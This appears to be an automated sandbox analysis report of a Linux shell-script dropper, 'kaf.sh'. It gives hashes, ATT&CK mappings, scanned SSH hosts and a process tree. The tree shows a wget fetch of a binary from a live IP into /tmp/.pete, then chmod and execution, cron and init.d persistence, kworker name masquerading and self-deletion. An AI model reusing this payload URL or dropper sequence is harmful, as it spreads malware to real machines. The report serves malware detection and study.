Analysis
- max time kernel
149s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
04/08/2026, 00:19
Static task
static1
Behavioral task
behavioral1
Sample
kaf.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
kaf.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
kaf.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
kaf.sh
Resource
debian9-mipsel-20260513-en
General
- Target kaf.sh
- Size 2KB
- Sample260804-amfylasxet
- SHA256 cdeb194ef3585eea3f918f6fcb866cadc30a92b6e0cf3dcd3a80aaf41d80806e
- MD5 d45f859e628b60bbed35d898d294497d
- SHA1 7f02abb3fd0576776c8108de059b762e86d9cb8b
- SHA512 94e57567dbe4be3d2b1621029444a4bd52d3f65bbb2c809b448487a8340eba707f5ef80d195b6416bae2773cb1eb4838e3c491cdb0257c72177f51f9177a2ac9
- TLSH T12641E1A6B413CAF5B7AD44B5320AA5586545921B09413F08700DB5793F3F70BF17A3AE
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Contacts a large (1300) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 714 chmod 679 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/.pete 680 kaf.sh - Outbound SSH connection to public host 2 TTPs 64 IoCs
SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.
description flow ioc SSH destination 1425 110.33.200.59:22 SSH destination 1971 49.155.5.254:22 SSH destination 392 184.7.22.142:22 SSH destination 483 85.51.195.18:22 SSH destination 639 15.14.231.43:22 SSH destination 862 41.1.183.111:22 SSH destination 910 178.55.44.4:22 SSH destination 1576 42.134.25.134:22 SSH destination 1817 156.197.92.26:22 SSH destination 1885 146.93.94.181:22 SSH destination 232 114.17.172.82:22 SSH destination 704 218.127.85.57:22 SSH destination 1620 221.138.28.164:22 SSH destination 696 189.26.104.102:22 SSH destination 1762 143.17.247.162:22 SSH destination 1935 31.67.88.76:22 SSH destination 214 61.1.225.174:22 SSH destination 414 180.169.61.58:22 SSH destination 824 91.143.130.55:22 SSH destination 1951 216.213.134.114:22 SSH destination 765 144.168.93.94:22 SSH destination 784 121.50.69.123:22 SSH destination 1296 147.124.149.94:22 SSH destination 1429 172.121.76.115:22 SSH destination 1723 171.143.42.130:22 SSH destination 1894 188.35.134.95:22 SSH destination 523 103.144.87.39:22 SSH destination 992 38.211.155.95:22 SSH destination 1060 15.151.20.46:22 SSH destination 1346 165.7.175.243:22 SSH destination 1710 151.34.23.16:22 SSH destination 1855 198.254.45.81:22 SSH destination 1921 159.19.45.151:22 SSH destination 1989 209.7.35.127:22 SSH destination 477 115.50.10.43:22 SSH destination 878 39.193.22.94:22 SSH destination 996 43.164.129.80:22 SSH destination 1042 12.206.111.225:22 SSH destination 1423 116.249.73.229:22 SSH destination 1637 77.73.80.102:22 SSH destination 1781 26.183.51.172:22 SSH destination 1833 20.243.53.38:22 SSH destination 296 189.31.202.230:22 SSH destination 563 58.113.89.244:22 SSH destination 618 45.154.233.60:22 SSH destination 1118 136.22.212.205:22 SSH destination 1874 164.23.52.61:22 SSH destination 1994 141.159.3.193:22 SSH destination 2002 103.217.107.59:22 SSH destination 56 131.94.165.247:22 SSH destination 134 190.128.187.236:22 SSH destination 872 141.14.108.134:22 SSH destination 938 162.107.171.103:22 SSH destination 1133 101.184.152.156:22 SSH destination 1172 165.121.141.179:22 SSH destination 1483 29.209.210.139:22 SSH destination 1657 187.150.17.187:22 SSH destination 572 88.237.219.166:22 SSH destination 594 42.104.176.163:22 SSH destination 717 131.104.98.159:22 SSH destination 1519 170.20.235.207:22 SSH destination 1607 46.32.5.130:22 SSH destination 1673 153.204.190.153:22 SSH destination 1805 173.180.182.93:22 - Unexpected DNS network traffic destination 4 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 205.185.115.131 Destination IP 205.185.115.131 Destination IP 205.185.115.131 Destination IP 205.185.115.131 - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.I6m3Ad crontab - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/.pete kaf.sh - Changes its process name 6 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself [kworker/u8:2] 683 .pete Changes the process name, possibly in an attempt to hide itself [kworker/1:1] 684 .pete Changes the process name, possibly in an attempt to hide itself [kworker/2:0] 685 .pete Changes the process name, possibly in an attempt to hide itself [kworker/4:1] 686 .pete Changes the process name, possibly in an attempt to hide itself [kworker/5:0] 687 .pete Changes the process name, possibly in an attempt to hide itself [kworker/6:1] 688 .pete - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/cmdline .pete -
description ioc Process File opened for reading /proc/13/stat pidof File opened for reading /proc/14/stat pidof File opened for reading /proc/9/stat killall File opened for reading /proc/41/stat killall File opened for reading /proc/290/stat killall File opened for reading /proc/21/cmdline pidof File opened for reading /proc/293/stat killall File opened for reading /proc/buddyinfo/cmdline .pete File opened for reading /proc/293/cmdline .pete File opened for reading /proc/25/cmdline pidof File opened for reading /proc/637/cmdline killall File opened for reading /proc/sched_debug/cmdline .pete File opened for reading /proc/578/cmdline .pete File opened for reading /proc/567/stat pidof File opened for reading /proc/643/cmdline pidof File opened for reading /proc/17/stat killall File opened for reading /proc/schedstat/cmdline .pete File opened for reading /proc/637/cmdline .pete File opened for reading /proc/649/cmdline .pete File opened for reading /proc/668/cmdline pidof File opened for reading /proc/20/stat killall File opened for reading /proc/110/cmdline killall File opened for reading /proc/irq/cmdline .pete File opened for reading /proc/20/cmdline .pete File opened for reading /proc/10/stat pidof File opened for reading /proc/12/stat killall File opened for reading /proc/mtd/cmdline .pete File opened for reading /proc/109/cmdline .pete File opened for reading /proc/110/cmdline .pete File opened for reading /proc/4/cmdline pidof File opened for reading /proc/43/stat pidof File opened for reading /proc/290/cmdline pidof File opened for reading /proc/25/stat killall File opened for reading /proc/diskstats/cmdline .pete File opened for reading /proc/10/cmdline pidof File opened for reading /proc/293/cmdline pidof File opened for reading /proc/137/stat killall File opened for reading /proc/6/cmdline .pete File opened for reading /proc/filesystems crontab File opened for reading /proc/42/stat killall File opened for reading /proc/device-tree/cmdline .pete File opened for reading /proc/668/cmdline .pete File opened for reading /proc/649/stat pidof File opened for reading /proc/vmstat/cmdline .pete File opened for reading /proc/key-users/cmdline .pete File opened for reading /proc/12/cmdline .pete File opened for reading /proc/224/cmdline .pete File opened for reading /proc/321/cmdline .pete File opened for reading /proc/loadavg/cmdline .pete File opened for reading /proc/161/cmdline .pete File opened for reading /proc/682/cmdline .pete File opened for reading /proc/2/cmdline pidof File opened for reading /proc/25/stat pidof File opened for reading /proc/300/cmdline pidof File opened for reading /proc/634/stat pidof File opened for reading /proc/tty/cmdline .pete File opened for reading /proc/5/stat pidof File opened for reading /proc/288/stat pidof File opened for reading /proc/316/stat pidof File opened for reading /proc/683/cmdline pidof File opened for reading /proc/701/stat pidof File opened for reading /proc/11/stat killall File opened for reading /proc/cpu/cmdline .pete File opened for reading /proc/sysrq-trigger/cmdline .pete - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.pete wget File opened for modification /tmp/xxeurbmrod .pete
Processes
-
/tmp/kaf.sh/tmp/kaf.sh1⤵
- Executes dropped EXE
- Modifies init.d
PID:645 -
/usr/bin/killallkillall -9 .pete pete_v6 pete_v72⤵
- Reads runtime system information
PID:647
-
-
/bin/rmrm -f /tmp/xxeurbmrod2⤵PID:652
-
-
/bin/unameuname -m2⤵PID:654
-
-
/bin/grepgrep -q armv72⤵PID:658
-
-
/usr/bin/wgetwget -q http://45.151.139.113/z0l1mxjm4mdl4jjfjf7sb2vdmv/pete_arm7 -O /tmp/.pete2⤵
- Writes file to tmp directory
PID:663
-
-
/bin/chmodchmod +x /tmp/.pete2⤵
- File and Directory Permissions Modification
PID:679
-
-
/tmp/.pete/tmp/.pete2⤵
- Changes its process name
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
PID:680
-
-
/bin/sleepsleep 22⤵PID:681
-
-
/bin/pidofpidof .pete2⤵
- Reads runtime system information
PID:704
-
-
/usr/bin/headhead -12⤵PID:705
-
-
/usr/bin/crontabcrontab -l2⤵PID:710
-
-
/bin/grepgrep -v .pete2⤵PID:711
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:709
-
-
/bin/chmodchmod +x /etc/init.d/.pete2⤵
- File and Directory Permissions Modification
PID:714
-
-
/bin/rmrm -f /tmp/kaf.sh2⤵PID:715
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1Boot or Logon Initialization Scripts
1RC Scripts
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/init.d/.pete
- Size 23B
- SHA256 6a6ece4e11187312b8ea9176f76ee629ccc79a5966c79b51396f620b9c9fe3e2
- MD5 fac006343ffd472ddb8f25ea3ea22918
- SHA1 601b6860778accc793d09739d2c44b54353b4fbe
- SHA512 977a57519c5f3e72b3eb6aa4155c68154179bec0116f5fa022ef4502307fd7b06fa488a38ea5da0aa9f1f906ad8625c415f8ee4c01f293dd247656103730ae65
- MD5 SHA1 SHA512
- Path /tmp/.pete
- Size 811KB
- SHA256 051515bf18ee3139cd2c6ec47b1423a6c329a434bce604b03d25fd453e4c89f7
- MD5 dce87dd676ae5ac36fc992f284a95e00
- SHA1 21e2d98ddd45d76c31f34f92cbb2f412a4623e31
- SHA512 6a766386b1721e589617cd4883b2cc00f82d547d2d74e1be70aa23bac19f1a4b8b294ad2a41ca14570185ad7a4320bf9893b3378154746a2d32e0391e7b76465
- SSDEEP 12288:uUCiu0jmMsXhfVAwD+GVTMC9Kyi08CjEYTxCcmCXkw2FEtcFOSOz3QaXoWlrkJSX:puMLsJD+ggGKtOZCrGkwytOjhlJeU
- TLSH T10C05F1D9F7862D5BC8CAD4B50C09C0999591ED6BB2E6D34A3F9262FE343D6300F28746
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/xxeurbmrod
- Size 4B
- SHA256 9831a2964a92b51538bcbcdfc8ddfd527a8df2a452c127cdbcebbf543112330c
- MD5 f383ebf90f4e6a1adbb17f659c8bf3c6
- SHA1 39b33984da5562aa7c84154295e940ae4410a964
- SHA512 a38342ab37c1b516e05c85560a904b1c679777ae0de0fde9bcf6de378ea2ff022e3f7a8844e4d2f9cb20c8e1671c33796057a3b50453f244b29686fb0415cc8e
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/tmp.I6m3Ad
- Size 198B
- SHA256 1903b51dc85942e392d2a03e5a1b6ca5335ad3db4b501e8b272d0e522b0a68c8
- MD5 b820043f12f27c6128549d5fc671812c
- SHA1 a47cf27ba0e336577f2b6724fe4402d32a8e9ca8
- SHA512 d13f6fc9582ef77dd25c076de322b00e2921d49e8e2faab05f96a22e8ea32a884783478a6cebae3b2badbd8c82a4ed5c0fd0e3fc8a878caf589584cc3b7ff708
- TLSH T18FD022383F1068302E880B64312A0629A841E068A01DEE40D1AC1024031B39E7FA0931
- MD5 SHA1 SHA512 TLSH